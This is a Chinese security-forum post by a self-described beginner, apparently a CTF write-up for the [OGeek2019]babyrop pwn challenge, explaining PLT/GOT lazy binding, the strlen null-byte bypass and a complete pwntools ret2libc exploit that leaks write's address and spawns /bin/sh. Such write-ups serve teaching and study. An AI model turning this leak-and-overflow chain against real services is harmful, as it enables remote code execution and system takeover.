首页
论坛
课程
招聘
[分享][OGeek2019]babyrop 题解(新人)
2020-9-28 21:13 1332

[分享][OGeek2019]babyrop 题解(新人)

2020-9-28 21:13
1332

我是一个刚入门的新人,所zh以有什么错误敬请各位大佬指出
我在百度和谷歌上搜了一下这题的题解,都并不是讲得很清楚(对于新人)
作为新人,如果有什么不对的地方,敬请指正(特别是代码里面那段解释)

一、预备知识

1.函数调用栈

 

2.PLT和GOT

 

GOT 全称是全局偏移量表(Global Offset Table),用来存储外部函数在内存的确切地址。GOT 存储在数据段(Data Segment)内,可以在程序运行中被修改

 

PLT 全称是程序链接表(Procedure Linkage Table),用来存储外部函数的入口点(entry),换言之程序总会到 PLT 这里寻找外部函数的地址。PLT 存储在代码段(Code Segment)内,在运行之前就已经确定并且不会被修改,所以 PLT 并不会知道程序运行时动态链接库被加载的确切位置。

 

所以,PLT表内存储的就是 GOT 表中对应条目的地址。

 

PLT与GOT表映射

 

当第一次调用这个外部函数,程序会通过 GOT 表再次跳转回 PLT 表,运行地址解析程序来确定函数的确切地址,并用其覆盖掉 GOT 表的初始值,之后再执行函数调用。
第一次调用外部函数

 

第二次调用这个外部函数时,程序仍然首先通过 PLT 表跳转到 GOT 表,此时 GOT 表已经存有获取函数的内存地址,所以会直接跳转到函数所在地址执行函数。
再次调用外部函数

 

这样做的目的就是为了效率,当第一次调用这个外部函数后,不需要重复的解析这个外部函数的地址。

 

二、题目分析

 

1.查看保护措施

发现只有NX保护,32位文件

 

2.查看代码
main
发现buf是一个随机数(sub_80486BB是初始化缓存区的函数)
sub_804871F
首先,发现函数中有个字符串的比较,如果字符串不相同,则会直接退出程序,而s是main函数中的buf(随机数),所以要想办法直接绕过这个比较,所以v1必须等于0。

 

v1 = strlen(buf),strlen这个函数有个缺陷:遇到\x00直接截断。所以我们要输入第一位数为\x00

 

再看一下,buf是个7位数的数组,但是函数中有read(0,buf,0x20u),而经过计算,v5相当于buf的第8位,所以v5是可以被我们指定的。

 

sub_80487D0

 

a1 就是上文中的 v5,buf的地址为[ebp-E7],如果v5为127,则会执行第一条代码,C8<E7,不能覆盖返回地址,v5需要尽可能的大,才能覆盖到返回地址。

思考一下,文件开启了NX保护,而且文件中并没有获得权限的函数,所以我们只能调用动态链接库中的‘system’类函数
已知延迟绑定机制(GOT与PLT),我们就可以伪装函数:确定函数 A 在 GOT 表中的条目位置,确定函数 B 在内存中的地址,将函数 B 的地址写入函数 A 在 GOT 表中的条目。
在这题中,我们可以泄露write函数的地址,然后用题目提供的动态共享库算出内存中system函数的地址,再用system函数的地址覆盖返回地址

 

三、exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
 
io=remote('node3.buuoj.cn',25100)
# io=process('./pwn')
elf=ELF('./OGeekpwn')
libc=ELF('./libc-2.23.so')
system_libc=libc.symbols['system']
binsh_libc=libc.search('/bin/sh').next()
write_libc=libc.symbols['write']
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=0x8048825
 
payload='\x00'+'\xff'*6+'\xff' #v5
 
io.sendline(payload)
 
io.recvuntil("Correct\n")
 
payload='a'*(0xe7+4)+p32(write_plt)+p32(main_addr)
#                        ret1           ret2
#这里有个套娃:write_plt覆盖的是sub_80487D0函数的返回地址,而write函数是main函数的函数,所以后面需要有三个write的参数,
 
payload+=p32(1)+p32(write_got)+p32(4)
#write   par1     par2         par3
io.sendline(payload)
 
write_addr=u32(io.recv(4))
#得到了write在内存中的位置 所以我们可以用题目提供的函数共享库算出system在内存中的位置
base=write_addr-write_libc
 
system_addr=system_libc+base
 
binsh_addr=binsh_libc+base
 
payload='\x00'+'\xff'*7
 
io.sendline(payload)
 
io.recvuntil("Correct\n")
#第二次就直接把返回地址改成system的地址
 
payload='a'*(0xe7+4)+p32(system_addr)+p32(main_addr)
 
payload+=p32(binsh_addr)
 
io.sendline(payload)
 
io.interactive()

[看雪官方]《安卓高级研修班》线下班,网课(12月)班开始同步招生!!

最后于 2020-9-28 22:14 被Max_hhg编辑 ,原因:
上传的附件:
收藏
点赞0
打赏
分享
最新回复 (1)
雪    币: 0
活跃值: 活跃值 (47)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
海龙三少 活跃值 2020-10-2 23:45
2
0
Full ReLRO好像不能覆盖GOT吧
游客
登录 | 注册 方可回帖
返回